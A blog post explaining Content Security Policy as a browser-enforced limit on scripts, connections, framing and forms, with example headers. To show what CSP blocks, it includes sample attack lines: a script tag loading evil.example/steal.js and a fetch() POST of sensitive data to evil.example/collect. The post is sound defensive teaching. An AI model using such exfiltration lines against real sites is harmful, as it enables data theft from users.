Content Security Policy: Putting the Browser on a Security Diet

Putting the Browser on a Security Diet (Generated by ChatGPT) / Author

This post is also published on the IyaSec blog.

Web applications have become remarkably powerful.

A modern browser application can execute JavaScript, load scripts from Content Delivery Networks (CDNs), fetch APIs, open WebSockets, create workers, embed other applications, load fonts and images, submit forms, and communicate with dozens of different origins.

That flexibility is useful.

It is also a fantastic playground for attackers.

Content Security Policy (CSP) is one of the mechanisms available to developers for putting some limits around all of that power.

The basic idea is to tell the browser what the application is allowed to load, execute, connect to, and embed — and let the browser enforce those rules.

The current W3C Content Security Policy Level 3 specification defines CSP as a mechanism for controlling resources a page or worker can fetch or execute, along with other security-relevant policy decisions. As of August 2026, the specification is a W3C Working Draft on the Recommendation track.

CSP in One Sentence

If you only remember one thing about CSP, CSP is a browser-enforced policy that reduces what a web application is allowed to do.

For example:

Content-Security-Policy: \
  default-src 'self'; \
  script-src 'self' \
  https://cdn.example.com; \
  object-src 'none';

Note, I used shell-style ‘\’ to signify “continued on the next line” for readability. Use your imagination. For an actual CSP compliant header, this would all be on one line without any ‘\’.

This tells the browser, roughly:

• By default, use resources from this application’s origin.
• JavaScript may come from the application or the specified CDN.
• Don’t allow plugin objects (that’s the object-src directive).

The injected script from:

https://evil.example/attack.js

doesn’t satisfy the policy.

The browser can block it.

That’s the fundamental security model.

CSP Is Defense in Depth

There is an important qualification here.

CSP is not a replacement for secure application development.

The W3C specification explicitly describes CSP as a defense-in-depth mechanism, rather than the first line of defense against content injection. Input validation and output encoding are still necessary.

Think about the layers.

CSP is the layer that says, “Even if something gets past the application, let’s see what the browser will allow it to do.”

That’s a very useful security boundary.

What Security Problem Is CSP Solving?

One of the primary targets is content injection, particularly cross-site scripting (XSS).

Suppose an attacker manages to inject:

<script src="https://evil.example/steal.js"></script>

Without CSP, the browser may simply see a perfectly valid script element.

With:

Content-Security-Policy: script-src 'self

the browser sees something different:

The attacker’s problem has become considerably harder.

And that’s the recurring theme throughout CSP, Reduce the privileges available to potentially compromised content.

The W3C specification explicitly identifies reducing application privilege as one of CSP’s goals.

Controlling Script Execution

The most familiar CSP capability is controlling where JavaScript can come from.

Content-Security-Policy: script-src 'self' https://cdn.example.com

This establishes an allowlist for script sources, but CSP goes considerably further than simply saying, “JavaScript must come from these domains.”

It can also control inline script and dynamic code execution.

That is important because XSS attacks frequently attempt to turn attacker-controlled content into executable JavaScript.

Inline JavaScript

A restrictive CSP can prevent arbitrary inline JavaScript.

For example:

<script>doSomething();</script>

can be blocked unless the policy explicitly permits it.

Likewise, inline event handlers such as:

<button onclick="doSomething()">

can run afoul of a restrictive policy.

This encourages applications toward a cleaner separation:

rather than:

From a security perspective, fewer places where executable code can appear is generally a good thing.

Nonces

CSP provides a particularly useful mechanism for applications that genuinely need some inline scripts: nonces.

The server generates a random nonce and places it in the CSP:

Content-Security-Policy: script-src 'nonce-AbCdEf123...

The corresponding script contains the same nonce:

<script nonce="AbCdEf123...">applicationStartup();</script>

The browser can execute that authorized script.

An injected script without the nonce is rejected.

Conceptually:

This gives the application much more precise control than simply saying, “Inline scripts are okay.”

CSP can also authorize scripts using cryptographic hashes.

Conceptually:

Content-Security-Policy: script-src 'sha256-...'

The browser can compare the hash of the script against the value authorized by the policy. So, only code matching the expected cryptographic value is authorized to execute.

This is useful for static content.

So, CSP gives developers several different ways of indicating this code is trusted rather than simply all JavaScript is trusted.

Dynamic Code Execution

CSP can also restrict dynamic JavaScript execution mechanisms such as eval() and related constructs.

That matters because dynamic code execution creates a dangerous bridge between data and executable code

A restrictive policy can help prevent an attacker from turning injected strings into executable JavaScript.

This is another example of CSP reducing the privileges of the application.

It’s Not Just About JavaScript

CSP isn’t merely an anti-XSS script filter.

The specification defines controls for many different classes of browser behavior.

Among them are directives governing:

• Scripts
• Styles
• Images
• Fonts
• Media
• Frames
• Workers
• Objects
• Manifests
• Connections
• Navigation
• Forms
• Sandboxing
• WebRTC
• Reporting

The current CSP Level 3 specification contains dedicated sections for fetch directives, document directives, navigation directives, reporting directives, and other policy mechanisms.

That makes CSP much better understood as a browser capability policy.

Controlling API Connections

One of the most interesting CSP capabilities for modern applications is:

connect-src

This controls destinations used by browser networking APIs, including things such as:

• fetch()
• XMLHttpRequest
• WebSockets
• EventSource
• sendBeacon()

The specification integrates CSP with the Fetch infrastructure and explicitly defines connect-src as a fetch directive.

For example:

Content-Security-Policy: connect-src 'self' https://api.example.com;

Now the browser has a rule saying:

This is particularly interesting from a data-exfiltration perspective.

Imagine an attacker manages to execute JavaScript and tries:

fetch("https://evil.example/collect", {
  method: "POST",
  body: sensitiveData
});

A restrictive connect-src policy can prevent the browser from making that connection.

CSP therefore isn’t merely about stopping malicious code from executing.

It can also restrict where potentially malicious code can communicate.

CSP and Data Exfiltration

This is one of the most underappreciated aspects of CSP.

Suppose an attacker somehow gets JavaScript execution.

There are two separate questions:

1. Can the attacker execute code?

2. What can that code communicate with?

CSP can address both.

The result is defense in depth.

Even if the attacker gets past one control, another control may limit the attack’s ability to accomplish anything useful.

Controlling Frames

Modern applications frequently use iframes.

CSP provides controls around framing and embedding.

One particularly important directive is:

frame-ancestors

which controls which origins are allowed to embed a resource.

For example:

Content-Security-Policy: frame-ancestors 'none';

can tell the browser that the application must not be embedded in a frame.

That’s useful against attacks involving malicious embedding and UI redressing, including clickjacking scenarios.

The CSP specification explicitly identifies controlling which origins may embed a resource as one of CSP’s security goals.

Forms and Navigation

CSP can also impose restrictions on navigation and form submission.

For example:

form-action

controls where forms can submit.

This is another example of the underlying philosophy, don’t merely protect the code. Restrict what the application can do.

An application may have JavaScript that is perfectly legitimate, but CSP can still impose boundaries around where that application is permitted to send information.

Workers and Modern Browser Applications

Today’s web applications aren’t necessarily just HTML + JavaScript. They can include:

• Web Workers
• Service Workers
• Worklets
• WebAssembly
• WebRTC
• WebSockets

CSP Level 3 integrates with several of these browser technologies and defines controls affecting workers, ECMAScript execution, WebAssembly, and WebRTC.

That makes CSP increasingly relevant as browser applications become more application-like.

CSP and Web Applications vs. APIs

This is where an important distinction needs to be made.

CSP is primarily a web application security mechanism

Consider a traditional API:

There may be no browser enforcing CSP at all, if the client is:

• curl
• A Java application
• A mobile application
• Another backend service

The API doesn’t magically become more secure because it sends:

Content-Security-Policy: ...

A non-browser client can simply ignore it.

So, CSP is not an API security mechanism.

Now, Add a Browser

Consider a single-page application:

Now CSP becomes very relevant.

The web application’s HTTP response can include:

Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self' https://api.example.com;

The browser enforces that policy while executing the application.

So:

The API itself isn’t enforcing CSP.

The browser is.

CSP vs. CORS

This is also why CSP should not be confused with CORS.

They solve different problems.

CSP asks: Where is my browser-based application allowed to connect?

CORS asks: Which browser origins are allowed to read my server’s cross-origin response?

Conceptually:

versus:

A modern application may need both.

CSP Does Not Replace OAuth2

The same principle applies to OAuth2 and OIDC.

Suppose we have:

This uses:

• Delegated authorization
• Access tokens
• Refresh tokens
• Client authentication
• Resource authorization
• Sender-constrained tokens (use of DPoP for example)

CSP is concerned with the browser:

• What scripts can execute?
• Where can resources load from?
• Where can JavaScript connect?
• Who can embed the application?
• Can inline code execute?
• Can dynamic code execute?

These are complementary controls.

OAuth2: “What is this client allowed to access?”

CSP: “What is this browser application allowed to do?”

This represents different security layers.

A Useful CSP Starting Point

A restrictive application might start with something along these lines:

Content-Security-Policy: \
  default-src 'self'; \
  script-src 'self' 'nonce-{random}'; \
  style-src 'self'; \
  img-src 'self' data:; \
  font-src 'self'; \
  connect-src 'self' https://api.example.com; \
  object-src 'none'; \
  frame-ancestors 'none'; \
  base-uri 'self'; \
  form-action 'self'; \

But don’t blindly copy that policy into production.

Every application is different.

The goal should be to allow exactly what the application needs, and nothing more.

Start With Report-Only

Deploying CSP can be disruptive.

If your application depends on ten CDNs, three analytics platforms, a payment provider, a WebSocket service, and a JavaScript framework doing something wonderfully clever with dynamic code, an aggressively restrictive CSP may cause a small amount of excitement.

Fortunately, CSP provides a reporting-only mode:

Content-Security-Policy-Report-Only: script-src 'self';

Instead of immediately enforcing the policy, the browser can report violations.

That gives you a useful deployment cycle:

The specification defines both the Content-Security-Policy and Content-Security-Policy-Report-Only response headers and includes a reporting model for violations.

HTTP Header vs. HTML <meta>

CSP can be delivered through an HTTP response header:

Content-Security-Policy: ...

or, in appropriate circumstances, through HTML:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'">

But, the HTTP header is generally the better mechanism for a serious security policy.

It also provides capabilities that aren’t available through <meta> in the same way, including report-only policy delivery.

The CSP specification explicitly defines both delivery mechanisms and their associated behavior.

CSP Is a Capability Boundary

Perhaps the best way to think about CSP is not that it’s an XSS header.

That’s true, but incomplete.

Think of CSP as a browser-enforced capability boundary.

Your application has capabilities:

• Execute JavaScript
• Load Resources
• Call APIs
• Open WebSockets
• Load Fonts
• Display Images
• Embed Frames
• Submit Forms
• Create Workers
• Execute Dynamic Code

CSP lets you put boundaries around those capabilities.

That is much closer to what CSP actually provides.

The Security Model

The CSP security model can be summarized as:

This is fundamentally different from relying entirely on application code to police itself.

The browser becomes an additional enforcement point.

And, attackers don’t get to vote on the policy.

What CSP Does Not Do

CSP is powerful, but there are plenty of things it does not solve.

It does not replace:

• Input validation
• Output encoding
• Secure coding
• Authentication
• Authorization
• OAuth2
• OIDC
• CORS
• TLS
• CSRF defenses
• API authorization
• Rate limiting
• Secure session management

It also doesn’t protect a backend API simply because the API happens to emit a CSP header.

The browser is the enforcement environment.

That distinction is critical.

Summary

Content Security Policy is one of those web security mechanisms that is easy to describe as a header that stops XSS.

That’s selling it short.

CSP provides a policy framework for reducing the privileges of web applications inside the browser.

It can control:

• What scripts execute
• Where scripts come from
• Which inline scripts are permitted
• Which code hashes or nonces are trusted
• Whether dynamic code execution is allowed
• Where styles come from
• Where images and other resources come from
• Which APIs JavaScript can contact
• Which WebSocket endpoints can be used
• Who can embed the application
• Where forms can submit
• Which workers can execute
• Whether certain browser capabilities are available
• Where violations are reported

And, that’s why CSP fits so nicely into a layered security architecture.

OAuth2 ensures the client is authorized to access this resource.

TLS protects the communication channel.

CORS ensures the browser origin may read a particular cross-origin response.

CSP ensures a web application is allowed to do these things (the browser will enforce those limits.)

None of them solves the entire security problem.

That’s the point.

Security isn’t one wall. It’s a collection of walls, doors, locks, alarms, and increasingly annoyed security guards.

CSP is one of the browser’s security guards.

And, unlike the average security guard, it doesn’t get tired, doesn’t accept bribes, and doesn’t care how convincing your JavaScript looks.

It just checks the policy and says, “Nope.”

Notes

• AI / GenAI / ChatGPT / etc were not used to generate the text of this article.
• ChatGPT was used to generate the images.
• I used em dashes in my writing before the current GenAI wave was a thing. Not planning on changing now.
• Names have been changed to protect the guilty.
• None of the hostnames or users used in examples actually exist.
• Feel free to post any comments or suggestions below.
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• Do not attempt to use any ideas, code, or programs discussed here in a production environment without first testing it in a non-production environment.
• I’m not responsible for the spontaneous combustion of the known universe or anything else bad that happens to you today as a result of your having read this blog post.